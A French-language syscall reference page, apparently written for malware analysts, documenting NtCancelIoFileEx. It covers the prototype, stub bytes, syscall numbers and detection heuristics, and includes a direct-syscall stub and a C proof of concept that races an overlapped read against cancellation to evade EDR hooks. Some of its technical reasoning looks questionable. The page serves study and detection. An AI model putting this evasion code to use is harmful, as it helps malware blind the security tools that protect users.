NtCancelIoFileEx

Prototype

NTSTATUS NtCancelIoFileEx(
  HANDLE           FileHandle,
  PIO_STATUS_BLOCK IoRequestToCancel,
  PIO_STATUS_BLOCK IoStatusBlock
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 94 00 00 00      mov eax, 0x94
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Introduit dans Vista pour corriger la limitation de portée single-thread de NtCancelIoFile. Avec `IoRequestToCancel == NULL` il se comporte comme CancelIo mais cross-thread ; avec un pointeur IO_STATUS_BLOCK non NULL, le noyau parcourt la liste d'IRP du fichier, match l'IRP dont `UserIosb` égale le pointeur fourni et annule exactement celui-là. Le thunk Win32 `CancelIoEx` expose les deux modes. Le SSN bouge modestement : `0x90` sur Win10 1803–1909, `0x92` sur 2004–23H2, `0x94` sur Win11 24H2 / Server 2025.

Usage courant par les malwares

Le plus riche du triplet de cancel, et celui qui est véritablement utile pour les motifs de **bypass de hook EDR / race-cancel**. L'attaque archétypale : le hook user-mode `NtReadFile` d'un EDR effectue une inspection synchrone du contenu avant de transmettre l'appel. En dispatchant la lecture overlapped (`FILE_FLAG_OVERLAPPED`) et en appelant immédiatement `NtCancelIoFileEx` contre le *spécifique* IO_STATUS_BLOCK depuis un autre thread helper, la lecture est arrachée avant que la routine de complétion EDR ne se déclenche — laissant l'EDR avec `STATUS_CANCELLED` et aucune donnée à inspecter. Les implants réels l'utilisent aussi pour un teardown propre de workers pipe / socket multi-threadés en canaux C2, et comme watchdog pour abandonner des appels `DeviceIoControl` qui pendent contre des drivers minifilter non réactifs.

Opportunités de détection

Signal plus élevé que NtCancelIoFile car la forme *ciblée* est bien moins courante dans le logiciel bénin. Les hooks sur `CancelIoEx` user-mode plus ETW `Microsoft-Windows-Kernel-File` et les traces WPP IRP peuvent corréler un motif sous-milliseconde émission-puis-annulation sur le même handle. Heuristique fiable : un thread qui appelle NtCancelIoFileEx avec un `IoRequestToCancel` non NULL pointant vers un IO_STATUS_BLOCK *dont le NtReadFile / NtWriteFile / NtDeviceIoControlFile apparié s'est complété dans un autre thread moins d'une milliseconde plus tôt*, alors que le file object est l'un des handles EDR protégés (mfeavfk, csagent, MsSecFlt, etc.). Les EDR qui déplacent l'inspection vers un minifilter noyau (WdFilter de Defender, CSAgent de CrowdStrike) sont immunisés à cette course car leur hook tourne *avant* que l'IRP ne se complète au user mode.

Exemples de syscalls directs

; Direct syscall stub for NtCancelIoFileEx
NtCancelIoFileEx PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 94h          ; SSN (Win11 24H2 / Server 2025)
    syscall
    ret
NtCancelIoFileEx ENDP

// PoC: issue an overlapped read, then yank the IRP from a helper thread
// targeting the specific IO_STATUS_BLOCK before any synchronous EDR
// completion inspection can fire.
#include <windows.h>

typedef struct _IO_STATUS_BLOCK {
    union { NTSTATUS Status; PVOID Pointer; };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef NTSTATUS (NTAPI *pNtCancelIoFileEx)(HANDLE, PIO_STATUS_BLOCK, PIO_STATUS_BLOCK);

typedef struct { HANDLE h; PIO_STATUS_BLOCK iosb; } cancel_ctx;

static DWORD WINAPI Yanker(LPVOID p) {
    cancel_ctx *c = (cancel_ctx*)p;
    pNtCancelIoFileEx NtCancelIoFileEx = (pNtCancelIoFileEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCancelIoFileEx");
    IO_STATUS_BLOCK out = {0};
    return NtCancelIoFileEx(c->h, c->iosb, &out);
}

NTSTATUS RaceCancelRead(HANDLE h, PVOID buf, ULONG len) {
    OVERLAPPED ov = {0};
    DWORD got = 0;
    ReadFile(h, buf, len, &got, &ov);                  // hooked path
    cancel_ctx c = { h, (PIO_STATUS_BLOCK)&ov };       // OVERLAPPED layout == IO_STATUS_BLOCK
    HANDLE t = CreateThread(NULL, 0, Yanker, &c, 0, NULL);
    WaitForSingleObject(t, INFINITE);
    CloseHandle(t);
    return 0;
}

// Tear down every outstanding IRP on a handle from any thread.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::IO::CancelIoEx;

pub unsafe fn cancel_all(h: HANDLE) -> bool {
    // CancelIoEx(h, NULL) — under the hood NtCancelIoFileEx with NULL IRP.
    CancelIoEx(h, std::ptr::null_mut()) != 0
}

Mappings MITRE ATT&CK

• T1562.001Impair Defenses: Disable or Modify Toolsmitre ↗
• T1106Native APImitre ↗